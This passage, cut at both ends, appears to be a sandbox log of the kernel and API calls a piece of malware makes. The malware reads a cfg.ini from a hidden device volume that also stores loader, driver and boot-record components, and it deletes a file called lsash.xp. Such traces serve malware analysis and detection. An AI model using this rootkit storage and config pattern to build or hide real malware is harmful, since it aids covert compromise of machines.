_Dest="0d24eb7c\\cfg.ini") returned 16 [0128.905] KeEnterCriticalRegion () [0128.905] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.905] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.905] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.905] KeLeaveCriticalRegion () [0128.905] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.905] KeEnterCriticalRegion () [0128.905] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.905] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.905] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.905] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.905] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.905] IdePortDispatch () returned 0x103 [0128.906] KeWaitForMutexObject () returned 0x0 [0128.906] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.906] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.906] KeLeaveCriticalRegion () [0128.906] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.906] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.906] KeEnterCriticalRegion () [0128.906] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.906] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b65000 [0128.906] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.906] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.906] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.906] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.906] IdePortDispatch () returned 0x103 [0128.906] KeWaitForMutexObject () returned 0x0 [0128.906] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.906] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.906] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.906] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.906] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.906] IdePortDispatch () returned 0x103 [0128.907] KeWaitForMutexObject () returned 0x0 [0128.907] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.907] KeLeaveCriticalRegion () [0128.907] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.907] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.907] KeEnterCriticalRegion () [0128.907] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.907] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.907] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.907] KeLeaveCriticalRegion () [0128.907] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.907] KeEnterCriticalRegion () [0128.907] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.907] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.907] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bff9d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.907] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.907] KeLeaveCriticalRegion () [0128.907] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.907] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.907] KeEnterCriticalRegion () [0128.907] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.907] ExFreePoolWithTag (P=0xfffffa8003c003b0, Tag=0x0) [0128.907] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.908] KeLeaveCriticalRegion () [0128.908] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.908] ReleaseMutex (hMutex=0xf0) returned 1 [0128.908] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.908] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0128.908] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.908] KeEnterCriticalRegion () [0128.908] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.908] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.908] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.908] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.908] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.908] IdePortDispatch () returned 0x103 [0128.908] KeWaitForMutexObject () returned 0x0 [0128.908] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.908] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.908] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.908] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.908] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.908] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c02b70 [0128.908] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.908] KeLeaveCriticalRegion () [0128.908] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.908] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.908] KeEnterCriticalRegion () [0128.908] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.908] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.908] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.908] KeLeaveCriticalRegion () [0128.908] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.909] KeEnterCriticalRegion () [0128.909] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.909] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.909] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.909] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.909] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.909] IdePortDispatch () returned 0x103 [0128.909] KeWaitForMutexObject () returned 0x0 [0128.909] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.909] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.909] KeLeaveCriticalRegion () [0128.909] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.909] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.909] KeEnterCriticalRegion () [0128.909] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.909] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b66000 [0128.909] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.909] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.909] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.909] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.909] IdePortDispatch () returned 0x103 [0128.909] KeWaitForMutexObject () returned 0x0 [0128.909] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.909] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.909] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.909] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.909] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.910] IdePortDispatch () returned 0x103 [0128.910] KeWaitForMutexObject () returned 0x0 [0128.910] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.910] KeLeaveCriticalRegion () [0128.910] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.910] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.910] KeEnterCriticalRegion () [0128.910] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.910] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.910] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.910] KeLeaveCriticalRegion () [0128.910] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.910] KeEnterCriticalRegion () [0128.910] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.910] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.911] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02cd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.911] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.911] KeLeaveCriticalRegion () [0128.911] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.911] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.911] KeEnterCriticalRegion () [0128.911] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.911] ExFreePoolWithTag (P=0xfffffa8003c02b70, Tag=0x0) [0128.911] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.911] KeLeaveCriticalRegion () [0128.911] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.911] ReleaseMutex (hMutex=0xf0) returned 1 [0128.911] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0128.911] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0128.911] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0128.911] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.911] KeEnterCriticalRegion () [0128.911] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.911] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.911] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.911] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.911] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.911] IdePortDispatch () returned 0x103 [0128.911] KeWaitForMutexObject () returned 0x0 [0128.911] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.911] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.911] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.911] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.911] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.911] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.911] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.911] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.911] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.912] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.912] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.912] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.912] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.912] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.912] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.912] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.912] KeLeaveCriticalRegion () [0128.912] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.912] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0128.912] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.912] KeEnterCriticalRegion () [0128.912] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.912] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.912] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.912] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.912] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.912] IdePortDispatch () returned 0x103 [0128.912] KeWaitForMutexObject () returned 0x0 [0128.912] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.912] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.912] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.912] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.912] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.912] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.912] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.912] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.912] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.912] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.912] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.912] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.912] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.912] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.912] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.912] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.913] KeLeaveCriticalRegion () [0128.913] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.913] ReleaseMutex (hMutex=0x100) returned 1 [0128.913] Sleep (dwMilliseconds=0x2bf20) [0128.920] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x70097ad0, dwHighDateTime=0x1d24fa4)) [0128.920] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0128.920] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.920] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.920] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.920] KeEnterCriticalRegion () [0128.920] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.920] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.920] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.920] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.920] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.920] IdePortDispatch () returned 0x103 [0128.920] KeWaitForMutexObject () returned 0x0 [0128.920] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.920] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.920] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.920] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.920] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.920] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c011d0 [0128.920] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.920] KeLeaveCriticalRegion () [0128.920] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.920] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.920] KeEnterCriticalRegion () [0128.920] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.920] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.920] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.920] KeLeaveCriticalRegion () [0128.921] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.921] KeEnterCriticalRegion () [0128.921] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.921] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.921] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.921] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.921] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.921] IdePortDispatch () returned 0x103 [0128.921] KeWaitForMutexObject () returned 0x0 [0128.921] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.921] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.921] KeLeaveCriticalRegion () [0128.921] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.921] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.921] KeEnterCriticalRegion () [0128.921] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.921] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b69000 [0128.921] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.921] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.921] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.921] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.921] IdePortDispatch () returned 0x103 [0128.921] KeWaitForMutexObject () returned 0x0 [0128.921] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.921] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.922] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.922] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.922] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.922] IdePortDispatch () returned 0x103 [0128.922] KeWaitForMutexObject () returned 0x0 [0128.922] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.922] KeLeaveCriticalRegion () [0128.922] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.922] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.922] KeEnterCriticalRegion () [0128.922] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.922] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.922] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.922] KeLeaveCriticalRegion () [0128.922] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.923] KeEnterCriticalRegion () [0128.923] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.923] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.923] FsRtlFastUnlockAll 